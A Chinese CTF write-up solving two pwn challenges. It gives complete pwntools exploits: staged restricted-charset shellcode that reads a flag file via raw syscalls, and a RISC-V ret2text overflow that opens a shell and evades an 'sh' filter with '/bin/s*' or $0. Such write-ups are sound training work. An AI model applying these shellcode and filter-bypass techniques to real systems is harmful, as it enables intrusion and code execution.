shellcode

main函数:

 read两字节数据,看上去是填no或者ye,但是如果if里只是非ye就可以跳到sub_13a2函数

 这段函数具体功能是读入最多17字节,然后判断这些字节是否是在79~95之间,也就是各种pop与push的机器码。在判断的时候有个if(!(v4-s)>>4),意思是将栈上变量v4存放的地址(s中每个字符的地址)与s的地址相减的得到的差值右移4,比如差值是10001或10011,那结果就是1。因此我们输入的字节数为17时就可以过检查,从而跳转到s[0]()来执行我们的shellcode。

先放一下exp:

from pwn import *
from LibcSearcher import*
context(os='linux', arch='amd64', log_level='debug') 
p=process('./pwn')
#p=process(["seccomp-tools","dump","./pwn"])
#p = remote('tcp.cloud.dasctf.com',29043)
elf = ELF('./pwn')
libc = ELF('./libc.so.6')

def dbg():
    gdb.attach(p)
    pause()

p.sendafter('(ye / no)\n','\x0f\x05')


payload1=asm(
'''
push rbx
pop rdi
pop rsi
pop rdx
pop rsi
push rbx
pop rax
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
pop rcx
push rsi
ret
'''
)



p.sendafter('Input Your P0P Code ========\n',payload1)

sleep(0.05)
payload2=b'aa'+asm(
'''
push rbx
pop rax
mov rdx,0x100
syscall
push rbx
pop rax
syscall
'''
)

p.send(payload2)

payload3=asm(
'''
push rsi
pop rdi
mov rsi,4
mov rax,2
syscall
mov rdi,rax
mov rsi,0
mov rax,0x21
syscall
mov rdi,rax
mov rsi,r8
mov rax,0
syscall
mov rdi,1
mov rsi,0x30
mov rax,0x21
syscall
mov rdi,rax
mov rsi,r8
mov rax,1
syscall
'''
)

sleep(0.1)

payload3=b'flag'+b'\x00'+b'a'*8+payload3
p.send(payload3)

p.interactive()

这时候前面所说的“非ye”的两字节就能派上用场了,我们输入syscall的的机器码,刚好是两字节,然后通过一系列的pop和push操作将寄存器改成我们需要的值,由于最后一字节可以随便写,我们这边选择ret,并且pop给rip的时前面的syscall,此时就能控制程序执行流了。后面就是orw了,没什么特殊的。但是在gdb调的时候有时候会出不来,正常打没什么问题。

 

 

login

一道RISC-v架构的ret2text,用ghidra能看伪c

 这个是检查输入长度的第一字节是否大于8了,所以长度为0x100~0x108也是能过的

exp:

from pwn import *
from LibcSearcher import*
context(os='linux', arch='riscv', log_level='debug') 
#p = process('./pwn')
p = remote('tcp.cloud.dasctf.com',29043)
#elf = ELF('./pwn')
#libc = ELF('./libc.so.6')

payload1='shabao'
p.sendafter('ur name:\n',payload1)

payload2=b'a'*0x100+p64(0x123456ee)
p.sendafter('ur words\n',payload2)
p.sendafter('want exec\n','/bin/s*')
p.interactive()

命令执行过滤了sh和flag,可以用*或者直接$0拿shell,然后cat flag就行。

浇浇我,我什么都会做的